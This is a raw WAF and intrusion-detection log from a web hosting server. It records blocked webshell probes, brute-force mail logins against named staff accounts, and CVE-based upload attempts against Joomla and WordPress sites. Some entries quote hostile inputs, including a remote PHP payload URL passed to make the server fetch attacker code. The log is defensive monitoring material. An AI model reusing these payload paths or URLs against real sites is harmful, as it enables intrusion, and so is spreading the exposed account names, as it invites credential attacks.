Jul 22 22:52:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/423_index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/smilies/index.php||SC:/home/kallanigroup/public_html/wp-includes/images||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/fnaf-unblocked\">fnaf unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/smilies/wp-login.php||SC:/home/kallanigroup/public_html/wp-includes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 22:55:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 22:56:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 130.131.233.88
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: mail.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/images/lmfi2.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/autoload_classmap.php||SC:/home/kallanigroup/public_html/wp-includes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/wp-conflg.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 39.194.1.198
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 22:59:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/cochinbigbandsho/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 23:03:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.10.203.190
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/cochinbigbandsho/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.25.80.211
country_id: 3932488
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/ HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 23:12:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 23:15:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 23:16:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/globalgroupoman/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/elegantautomotiv/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 23:20:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 23:21:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 160.202.37.233
country_id: 1269750
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:22713.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e5367eebb95783a6fb90913983079031e3c7080||Title:0xc79e6a44||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/metrodigitals/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 23:27:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 168.62.180.116
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/metrodigitals/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 168.62.180.116
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/metrodigitals/public_html/wp-includes||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 23:36:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.91.88.218
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intercom-systems HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.176.28.171
country_id: 2542007
description:
2026-07-22 23:36:16 dovecot_plain authenticator failed for H=(0Byte-2.local) [160.176.28.171]:11137: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 2401:4900:8fdd:80b0:8526:a668:671b:b169
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Special shell symbol in request||MV:modified_by}||MVN:ARGS:jform[editemailreceiptsettings][editemailreceipttext]||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 23:37:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 23:41:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/google-sites-unblocked\">Retro Bowl College 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.245.120.87
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/true-4k-uhd-ultra-short-throw-laser-projector-v5000i?Itemid=101&catid=18 HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 23:43:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.27.139
country_id: 6252001
description:
Jul 22 23:45:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.27.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-22 23:45:53 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net (isp-31-222-6-25.saowifi.net) [71.235.27.139]:38616: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.191.231
country_id: 99237
description:
Jul 22 23:46:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.191.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-22 23:46:14 dovecot_login authenticator failed for H=([178.170.221.148]) [65.20.191.231]:37636: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.174.49
country_id: 99237
description:
Jul 22 23:46:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.174.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-22 23:46:59 dovecot_login authenticator failed for H=([1.209.170.44]) [65.20.174.49]:34000: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.81.232
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.34||T:APACHE||RA:104.239.81.232||TA:104.239.81.232||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.200.6
country_id: 1269750
description:
2026-07-22 23:47:24 dovecot_login authenticator failed for H=([106.63.13.176]) [152.52.200.6]:46418: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 23:51:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.218.50
country_id: 1269750
description:
Jul 22 23:51:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.218.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-22 23:51:08 dovecot_plain authenticator failed for H=(hoozymous) [125.19.218.50]:43330: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.175.180.147
country_id: 6252001
description:
Jul 22 23:52:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.175.180.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.175.180.147
country_id: 6252001
description:
2026-07-22 23:52:21 dovecot_login authenticator failed for H=wsip-70-175-180-147.pn.at.cox.net ([184.186.73.106]) [70.175.180.147]:50069: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.242.28.103
country_id: 6252001
description:
Jul 22 23:52:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.242.28.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.242.28.103
country_id: 6252001
description:
2026-07-22 23:52:35 dovecot_login authenticator failed for H=([70.166.167.60]) [23.242.28.103]:56642: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 22 23:53:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.176.28.171
country_id: 2542007
description:
Jul 22 23:53:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.176.28.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.176.28.171
country_id: 2542007
description:
2026-07-22 23:53:28 dovecot_plain authenticator failed for H=(0Byte-2.local) [160.176.28.171]:51668: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 114.10.12.3
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcerhtqia9z.xml.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 23:57:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.109.73.135
country_id: 1835841
description:
Jul 22 23:59:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.109.73.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-22 23:59:17 dovecot_login authenticator failed for H=([59.8.52.102]) [222.109.73.135]:51060: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.52.161.203
country_id: 6252001
description:
Jul 22 23:59:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.52.161.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.52.161.203
country_id: 6252001
description:
2026-07-22 23:59:37 dovecot_login authenticator failed for H=(static.bb.awr.59.90.111.74.bsnl.in) [64.52.161.203]:35937: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 23 00:00:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 2401:4900:8fdd:80b0:8526:a668:671b:b169
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:plg_system_visformsapprovalworkflow-2.1.3.zip||RSV:8.34||T:APACHE||Install directory:/home/futuracarecom/tmp||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 00:01:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 195.154.48.22
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://cheihod.ru/bitrix/redirect.php?goto=https://housedb.ru/go.php?http://cornertown.de/de/component/k2/item/1-consulting_de.html?utm_referrer=7dach.ru\">crazytimes IT</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 00:05:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 130.131.233.88
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmctradeflow/public_html/wp-includes||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-4991.xml.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 00:14:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.216.140.244
country_id: 1668284
description:
2026-07-23 00:15:02 dovecot_login authenticator failed for H=61-216-140-244.hinet-ip.hinet.net ([185.112.148.66]) [61.216.140.244]:52356: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.216.140.244
country_id: 1668284
description:
Jul 23 00:15:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.216.140.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.212.27.150
country_id: 6252001
description:
Jul 23 00:15:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.212.27.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-23 00:15:24 dovecot_login authenticator failed for H=([186.239.41.74]) [50.212.27.150]:39394: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.4.209.51
country_id: 2661886
description:
Jul 23 00:15:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.4.209.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-23 00:15:41 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([130.185.102.59]) [155.4.209.51]:38628: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.182.173.140
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/combinations/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 00:17:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 212.103.61.29
country_id: 2782113
domain: cochinbigbandshow.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_a2840707.php||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 00:22:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 23 00:23:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 104.238.222.26
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:ahsmarine||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 104.238.222.26
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.34||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 104.238.222.26
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:ahsmarine||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.146.195
country_id: 934841
description:
2026-07-23 00:27:16 dovecot_login authenticator failed for H=([27.33.247.46]) [41.215.146.195]:41594: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-23 00:27:48 dovecot_login authenticator failed for H=([49.124.152.32]) [183.104.220.84]:46720: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 00:27:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.136
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.34||T:APACHE||RA:38.154.206.136||TA:38.154.206.136||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 205.185.113.241
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.34||T:APACHE||RA:205.185.113.241||TA:205.185.113.241||


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 91.196.152.133
country_id: 3017382
domain: www.interceptorglobal.in
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 00:38:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 00:38:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-23 00:38:24 dovecot_login authenticator failed for H=([183.223.156.154]) [222.120.63.29]:37062: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/yukticlick/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacemergencyservice3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
